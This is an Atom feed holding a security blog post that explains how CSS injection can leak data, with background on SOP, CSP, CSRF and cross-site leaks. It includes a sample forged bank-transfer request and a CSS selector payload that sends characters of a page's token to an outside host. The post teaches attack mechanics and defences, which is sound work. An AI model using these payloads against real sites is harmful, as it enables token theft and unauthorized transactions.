<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>dsm Default Page</title>
    <subtitle>Writing on security and technology.</subtitle>
    <link rel="self" type="application/atom+xml" href="https://dsm.golf/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://dsm.golf"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-06-24T00:00:00+00:00</updated>
    <id>https://dsm.golf/atom.xml</id>
    <entry xml:lang="en">
        <title>Data Exfiltration with Style (CSS)</title>
        <published>2026-06-24T00:00:00+00:00</published>
        <updated>2026-06-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://dsm.golf/blog/data-exfiltration-with-style-css/"/>
        <id>https://dsm.golf/blog/data-exfiltration-with-style-css/</id>
        
        <content type="html" xml:base="https://dsm.golf/blog/data-exfiltration-with-style-css/">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This article emerged after I gave a talk at BSidesSP Red Team Village (2026) and at a community called Hacking Club. During both presentations, some questions and observations arose, so I decided to turn everything into an article that can be updated whenever any improvements or errors are identified.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;CSS, or &lt;em&gt;Cascading Style Sheets&lt;&#x2F;em&gt;, is a stylesheet language for building layouts and visually styling web applications. CSS follows a simple structure where we define a selector and a declaration block that specifies how that selector will be styled. For example, to apply the color red to an element with the class title, the CSS code would be:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;css&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;.title&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;    color&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; red&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The browser that receives the HTML content then converts this document into a DOM tree. The CSS rules, whether referenced from a .css file or in the HTML code itself, are organized into blocks based on the different elements they will be applied to. The rules are then applied to the DOM tree and to the CSSOM, resulting in a render tree, which is a tree stored internally by the browser to represent the visual elements.&lt;&#x2F;p&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;blog.logrocket.com&#x2F;wp-content&#x2F;uploads&#x2F;2018&#x2F;04&#x2F;0_bXFDb1USqAonjGYa-1024x367.png&quot; width=&quot;900px&quot;&gt;
&lt;p&gt;An interesting detail is that each browser renders this in its own way. The render tree and the CSSOM are standardized by the specs, but each engine (Blink, Gecko, Webkit) has its own &lt;em&gt;user-agent stylesheets&lt;&#x2F;em&gt; (the browser&#x27;s default CSS rules), and this results in differences in margins, paddings, and the appearance of forms.&lt;&#x2F;p&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;i.sstatic.net&#x2F;Q8CNG.png&quot; width=900px&gt;
&lt;p&gt;On more complex websites we can expect more complex CSS code. For example, let&#x27;s say I want only a phone-type input that also has the class &lt;code&gt;user-input&lt;&#x2F;code&gt; to get a red border, so that the user is visually warned that the field is required. The CSS code would be:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;css&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;tel&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;.user-input&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;    border&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;px&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; solid red&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Applying this red border to the target element is a visual change, local to the user&#x27;s browser, and it does not allow an external attacker to decide whether some condition is true or false. However, the possibility of creating an observable feedback channel (yes&#x2F;no), combined with the ability to make external requests directly from CSS, is what gives rise to the &lt;strong&gt;oracle&lt;&#x2F;strong&gt;. An oracle is something that can confirm the value of a boolean condition (false or true), and this fits exactly with the idea of exfiltration, because even before we want to exfiltrate something, we first need to know if it exists and matches what we are looking for, in other words, a game of selector and rule.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sop-csp-and-csrf&quot;&gt;SOP, CSP and CSRF&lt;&#x2F;h2&gt;
&lt;p&gt;You can imagine the risk that data exfiltration creates, given that it is entirely possible. For that reason, there are currently several protections built into browsers themselves, plus others that can be applied at the application level to help mitigate this risk. Below, we will talk a bit about SOP, CSP, and CSRF.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sop-same-origin-policy&quot;&gt;SOP (Same-Origin Policy)&lt;&#x2F;h3&gt;
&lt;p&gt;SOP, or &lt;em&gt;Same-Origin Policy&lt;&#x2F;em&gt;, is a native mechanism of modern browsers that ensures a request from A to B respects its origin and establishes some policies to determine whether that request can read the result or not. This policy is based on the origin, where three elements are evaluated: &lt;code&gt;scheme&lt;&#x2F;code&gt;, &lt;code&gt;host&lt;&#x2F;code&gt;, and &lt;code&gt;port&lt;&#x2F;code&gt;. If any of the three elements differ, trust is broken.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Origin&lt;&#x2F;th&gt;&lt;th&gt;Scheme&lt;&#x2F;th&gt;&lt;th&gt;Host&lt;&#x2F;th&gt;&lt;th&gt;Port&lt;&#x2F;th&gt;&lt;th&gt;Same origin?&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;https:&#x2F;&#x2F;www.facebook.com:443&#x2F;perfil&lt;&#x2F;td&gt;&lt;td&gt;HTTPS&lt;&#x2F;td&gt;&lt;td&gt;www.facebook.com&lt;&#x2F;td&gt;&lt;td&gt;443&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;https:&#x2F;&#x2F;www.facebook.com:443&#x2F;amigos&lt;&#x2F;td&gt;&lt;td&gt;HTTPS&lt;&#x2F;td&gt;&lt;td&gt;www.facebook.com&lt;&#x2F;td&gt;&lt;td&gt;443&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;http:&#x2F;&#x2F;www.facebook.com:80&#x2F;perfil&lt;&#x2F;td&gt;&lt;td&gt;HTTP&lt;&#x2F;td&gt;&lt;td&gt;www.facebook.com&lt;&#x2F;td&gt;&lt;td&gt;80&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;https:&#x2F;&#x2F;mobile.facebook.com:443&#x2F;perfil&lt;&#x2F;td&gt;&lt;td&gt;HTTPS&lt;&#x2F;td&gt;&lt;td&gt;mobile.facebook.com&lt;&#x2F;td&gt;&lt;td&gt;443&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;With the table above it becomes easier to understand how these policies are applied. If we look at the first two rows of this table, the origin is the same because both use the HTTPS scheme, both belong to the domain www.facebook.com, and both use port 443, so no policy is being violated.&lt;&#x2F;p&gt;
&lt;p&gt;However, if we look at the third row, there are two differences that break the policy. The first one is the scheme, which in this case is HTTP. Another issue is that, since it is an HTTP request, it uses port 80 by default, which is already a second violation of the policy. Putting it all together, we can see that it is not a same-origin request.&lt;&#x2F;p&gt;
&lt;p&gt;The same goes for the fourth row, which also violates the policy, in this case because of the different host. Even though it is still a subdomain related to www.facebook.com, it is not exactly www.facebook.com, but rather mobile.facebook.com. So the policy understands that it is not from the same origin and does not allow mobile.facebook.com to read the response from www.facebook.com via JavaScript.&lt;&#x2F;p&gt;
&lt;p&gt;In case you did not notice, the issues pointed out above only represent problems faced by JavaScript requests (XHR&#x2F;fetch) coming from an external origin. With CSS, it is possible to respect all of this and still exfiltrate data, but there is another detail that can become a barrier we have to face.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;csp-content-security-policy&quot;&gt;CSP (Content-Security-Policy)&lt;&#x2F;h3&gt;
&lt;p&gt;Fortunately, the browser does not rely on a single protection to control how data flows between applications. To tell the browser and the application the rules for how the content (images, JS or CSS files, etc.) should behave in that environment, we have CSP (&lt;em&gt;Content-Security-Policy&lt;&#x2F;em&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;CSP is a mechanism that helps prevent or minimize the attack surface and the risks that attackers exploit, by embedding a list of rules that are passed from the site to the browser. Generally, CSP is used to prevent Cross-Site Scripting (XSS) attacks, blocking the insertion of direct JavaScript code or scripts from untrusted sources, but it can also be useful against other attacks such as &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;portswigger.net&#x2F;web-security&#x2F;clickjacking&quot;&gt;Clickjacking&lt;&#x2F;a&gt; and &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;coalfire.com&#x2F;the-coalfire-blog&#x2F;mime-sniffing-in-browsers-and-the-security&quot;&gt;MIME sniffing&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;CSP contains several rules that can be embedded into the application, for example:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;default-src: Defines a default policy for the process of fetching JavaScript content, images, CSS, fonts, AJAX requests, and others. It works partially as a fallback rule when there is no explicit rule for a given scenario. Just keep in mind that not all rules use default-src as a fallback.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Example: &lt;code&gt;default-src &#x27;self&#x27; cdn.inferi.club;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;script-src: Defines valid and trusted origins for fetching JavaScript code and files.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Example: &lt;code&gt;script-src &#x27;self&#x27; js.inferi.club;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;style-src: Defines valid and trusted origins for fetching CSS code and files.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Example: &lt;code&gt;style-src &#x27;self&#x27; css.inferi.club;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;img-src: Defines valid and trusted origins for fetching images.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Example: &lt;code&gt;img-src &#x27;self&#x27; img.inferi.club;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;csp.png&quot;&gt;
&gt; Credits: https:&#x2F;&#x2F;developer.mozilla.org
&lt;p&gt;The main problem with CSP is that there is no standard, and it has to be applied by the developer themselves, depending on the application&#x27;s requirements, which tend to change throughout the development and evolution of the project. For example, the implementation of new features can result in a weakness. These days it is quite common to find applications that do not use CSP at all, or that use it but in a misconfigured way, given how hard it is to keep complex applications stable when they depend on third-party resources or similar scenarios.&lt;&#x2F;p&gt;
&lt;p&gt;For example, imagine a forum where the developer allows users to place images in their profile signatures and, to avoid having to host those images locally and create a file upload form, decides to let users attach images from external sources. So the developer applies the rule &lt;code&gt;img-src *;&lt;&#x2F;code&gt; in the forum&#x27;s CSP. This small misconfiguration can be combined with a vulnerability to result in data exfiltration.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;csrf-cross-site-request-forgery&quot;&gt;CSRF (Cross-Site Request Forgery)&lt;&#x2F;h3&gt;
&lt;p&gt;CSRF, or &lt;em&gt;Cross-Site Request Forgery&lt;&#x2F;em&gt;, is an attack in which the attacker tricks users into performing an action unintentionally, which can be exploited when they access an environment controlled by the attacker. Examples include: changing a password, changing an email, adding the attacker as a trusted contact, performing bank transfers, and others, partially bypassing the Same-Origin Policy.&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;csrf.png&quot;&gt;
&gt; Credits: https:&#x2F;&#x2F;portswigger.net&#x2F;web-security&#x2F;csrf
&lt;p&gt;For a CSRF attack to be performed and considered effective, three important prerequisites must be met:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;The CSRF must target a relevant action, such as changing a password, sending a PIX transfer, changing the account email, etc. There is no impact if CSRF is used, for example, to log the user out of the application, unless it is later combined with another type of attack;&lt;&#x2F;li&gt;
&lt;li&gt;The user&#x27;s session must be controlled by the Cookie header, since the browser sends them automatically in cross-site requests if the Cookie does not have the values SameSite=Lax or SameSite=Strict;&lt;&#x2F;li&gt;
&lt;li&gt;All parameters of the target request must be known or predictable. This includes the names, which cannot be random, as well as the values, which cannot be unknown to the attacker, such as the victim user&#x27;s current password.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Here is an example of a CSRF attack hosted on the attacker&#x27;s site, where the goal is to make the victim perform a transaction:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;POST &#x2F;transfer&#x2F;pix HTTP&#x2F;1.1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Host: bancocn.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Content-Type: application&#x2F;x-www-form-urlencoded&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Content-Length: 30&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Cookie: session=kDmwjoKLlwJ123dwlopJ2XlpwklS&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;valor=1000&amp;amp;chavepix=dsm@dsm.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can see in the sample request above that all the prerequisites mentioned earlier are met: it is a relevant action, the session is managed via Cookie, and finally, the values are easy to guess and follow a standard format.&lt;&#x2F;p&gt;
&lt;p&gt;These days there are several protections against CSRF attacks to prevent attackers from exploiting this kind of behavior. Some of them are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;CSRF Token: An unpredictable token with good entropy, tied to the session and validated server-side on every request. It is the strongest protection when properly implemented.&lt;&#x2F;li&gt;
&lt;li&gt;SameSite=Lax&#x2F;Strict: A protection that can be applied to the Cookie header and is effective against most POST vectors. Even so, SameSite Lax still allows GET on top-level navigation. Chrome has been applying SameSite=Lax natively since 2021, even when it is not explicitly defined.&lt;&#x2F;li&gt;
&lt;li&gt;Referer: A secondary and unreliable layer. It can be suppressed by proxies, browser policies, or by the victim themselves.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;An interesting point about &lt;code&gt;SameSite=Lax&lt;&#x2F;code&gt; in Chrome is that it is possible to bypass it within a small time window. To avoid breaking SSO mechanisms, Chrome does not apply this restriction during the first 120 seconds of a top-level POST request, which results in a two-minute window that can become susceptible to cross-site attacks.&lt;&#x2F;p&gt;
&lt;p&gt;It is worth reiterating that none of the protections above are silver bullets and cannot be considered unbreakable. As mentioned before, the application&#x27;s needs and continuous development can generate events that directly impact these points and are likely to result in vulnerabilities in the environment.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xs-leaks-cross-site-leaks&quot;&gt;XS-Leaks (Cross-Site Leaks)&lt;&#x2F;h2&gt;
&lt;p&gt;Given all this context, we can see that there are several protections and layers that are applied even before a request is sent from one origin to another. So the best path is to lean on native browser functions in a way that does not require breaking any policy or rule of the application, but only building a request that fits enough for what the browser and the application expect, while still exploiting some vulnerability.&lt;&#x2F;p&gt;
&lt;p&gt;XS-Leaks (Cross-Site Leaks) is a category of vulnerabilities derived from side-channel attacks in the web environment. The goal is to abuse the possibility of sites interacting with each other and to exploit these mechanisms to extract information about the user. Unlike Cross-Site Request Forgery, whose goal is to make the user take actions controlled by the attacker, XS-Leaks only extracts information from the user.&lt;&#x2F;p&gt;
&lt;p&gt;This is where we use the oracle concept (or Cross-site oracles) again, to find out whether the user&#x27;s sensitive information is available and how we can work with boolean conditions to exfiltrate it. An example of this would be on GitHub: if you have a private repository attached to your account and use the search function to type the exact name of the repository, it will appear. If the environment were vulnerable, we could abuse this:&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;github.png&quot;&gt;
&lt;p&gt;The biggest difficulty in dealing with XS-Leaks issues is that the root cause does not always involve the application itself, but rather a default behavior of the browser. So there can be vulnerable applications that did nothing wrong. Fortunately, browsers implement, and continue to implement, several defense mechanisms to work around these problems, such as:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;SameSite Cookies: Using the SameSite property on cookies is very effective against Cross-Site Leaks attacks, especially when applied in an architecturally safe way.&lt;&#x2F;li&gt;
&lt;li&gt;Cross-Origin-Opener-Policy: Cross-Origin-Opener-Policy (COOP) is a response header that, when set (e.g., &lt;code&gt;same-origin&lt;&#x2F;code&gt;), places the document into its own &lt;em&gt;browsing context group&lt;&#x2F;em&gt;, cutting the reference between it and any cross-origin window that opened it or that it later opens, so &lt;code&gt;window.opener&lt;&#x2F;code&gt; becomes &lt;code&gt;null&lt;&#x2F;code&gt;. This neutralizes XS-Leaks that depend on cross-origin references such as &lt;code&gt;window.opener&lt;&#x2F;code&gt;, &lt;code&gt;window.frames&lt;&#x2F;code&gt;, or &lt;code&gt;window.length&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Cross-Origin-Resource-Policy: Cross-Origin-Resource-Policy (CORP) is a response header set on the resource itself (image, script, font, etc.) that indicates which origins are allowed to embed it. With values like &lt;code&gt;same-origin&lt;&#x2F;code&gt; or &lt;code&gt;same-site&lt;&#x2F;code&gt;, the browser blocks the loading of the resource from documents that do not match, preventing attacker pages from embedding the protected resource and using it as a side channel.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Even so, just like the other defense mechanisms we talked about earlier (SOP and CSP), the implementation depends on the developer, who must know about these mechanisms and also know how to apply them without breaking the entire application. For that reason, they are often left out. It is possible to find more mature applications that managed to apply this in their environments and it works very well, but it is not the rule, let alone a standard.&lt;&#x2F;p&gt;
&lt;p&gt;Within XS-Leaks there are several attacks that can be exploited, some of which are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Cross-Site Search (XS-Search): Consists of abusing response time when a resource that exists takes more or less time to be found than content that does not exist;&lt;&#x2F;li&gt;
&lt;li&gt;Frame Counting: Uses the value of the &lt;code&gt;window.length&lt;&#x2F;code&gt; property to measure whether some condition is false or true. For example, let&#x27;s say that on LinkedIn, if I have a connection with someone, 10 frames are loaded on the page, but if I do not have a connection, only 9 frames are loaded. This is a metric that can be used in a Frame Counting attack;&lt;&#x2F;li&gt;
&lt;li&gt;Cache Probing: This is a technique for detecting whether some resource has already been stored in the browser cache, which is very common for images, scripts, and HTML code;&lt;&#x2F;li&gt;
&lt;li&gt;ID Attribute: Abuses the &lt;code&gt;id&lt;&#x2F;code&gt; attribute to identify HTML elements in the environment. Since it is possible to navigate to content with an &lt;code&gt;id&lt;&#x2F;code&gt; attribute via hash fragments (&lt;code&gt;https:&#x2F;&#x2F;example.com&#x2F;profile#bank&lt;&#x2F;code&gt;), another origin can use this to build an oracle.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;You will notice from the list above that everything is based on determining whether some condition is true or false, and this is the premise we have to work with. In this article, only the CSS Injection attack and vulnerability will be covered.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;css-injection&quot;&gt;CSS Injection&lt;&#x2F;h3&gt;
&lt;p&gt;CSS Injection is a vulnerability that occurs when there is some data input in the application that is not being properly sanitized, allowing an attacker to insert CSS code to be rendered by the environment. It is quite common for this vulnerability to appear in the same scenario where HTML Injection is present, since CSS Injection depends on HTML Injection (in practice). However, CSS Injection can be very useful when JavaScript execution is blocked (whether by WAF, whitelists, or CSP), but it is still possible to inject code into the page.&lt;&#x2F;p&gt;
&lt;p&gt;The CSS Injection attack is quite old, there are articles from 2012, written by the researcher Mario Heiderich (&quot;Got Your Nose&quot;), and there are probably even older resources. Over time, the need for new functions, attributes, and other features in CSS has only grown, increasing the range of possibilities.&lt;&#x2F;p&gt;
&lt;p&gt;In CSS, there are some functions that allow us to fetch external resources to apply some kind of style to an attribute, the most commonly used one being &lt;code&gt;background-image&lt;&#x2F;code&gt;. The background-image can be used in the following ways:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;css&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;background-image&lt;&#x2F;span&gt;&lt;span&gt;: url(&amp;quot;favicon.ico&amp;quot;); &lt;&#x2F;span&gt;&lt;span style=&quot;color: #88846F;&quot;&gt;&#x2F;* Fetching a local image that already exists in the application *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;background-image&lt;&#x2F;span&gt;&lt;span&gt;: url(&amp;quot;https:&#x2F;&#x2F;inferi.club&#x2F;img&#x2F;example.jpg&amp;quot;); &lt;&#x2F;span&gt;&lt;span style=&quot;color: #88846F;&quot;&gt;&#x2F;* Fetching an external image *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Given the possibility of sending a request to an external origin when the CSS rule is applied, this is exactly the oracle we are looking for. For example, let&#x27;s say application A has an &lt;code&gt;input&lt;&#x2F;code&gt; containing a user&#x27;s token, and it is possible to inject CSS into the same page where the &lt;code&gt;input&lt;&#x2F;code&gt; exists. We can use the following code:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;css&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;a&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;] {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;    background-image&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; url&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;inferi.club?token_char=a&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This will basically follow the flow below:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Is there an &lt;code&gt;input&lt;&#x2F;code&gt; element on the page? - YES&lt;&#x2F;li&gt;
&lt;li&gt;Is the name of the &lt;code&gt;input&lt;&#x2F;code&gt; element &lt;code&gt;token&lt;&#x2F;code&gt;? - YES&lt;&#x2F;li&gt;
&lt;li&gt;Does the value of the &lt;code&gt;input&lt;&#x2F;code&gt; element named &lt;code&gt;token&lt;&#x2F;code&gt; start with the letter &lt;code&gt;a&lt;&#x2F;code&gt;? - YES&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Since the answer to all the questions was positive, the browser will make a request to &lt;code&gt;https:&#x2F;&#x2F;inferi.club?token_char=a&lt;&#x2F;code&gt; to set that as the background image of the target element.&lt;&#x2F;p&gt;
&lt;p&gt;The point is that the attribute selectors &lt;code&gt;[attribute=&quot;value&quot;]&lt;&#x2F;code&gt; only operate on the element itself, which can be a problem when the attribute uses an &lt;code&gt;opacity: 0;&lt;&#x2F;code&gt; property, because this prevents the browser from seeing it through the traditional attribute selectors. Fortunately, since 2022, Chrome&#x2F;Edge support a pseudo-class that solves this, and later, starting in 2023, it also began to work in Firefox. The pseudo-class is called: &lt;code&gt;:has()&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;A positive point about the &lt;code&gt;:has()&lt;&#x2F;code&gt; pseudo-class is that it is a relational selector. We can select an element based on what exists inside it or around that attribute. An example of using the &lt;code&gt;:has()&lt;&#x2F;code&gt; class would be the following:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;css&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;.container:has&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;username&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;admin&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; #s0&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;    color&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; red&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
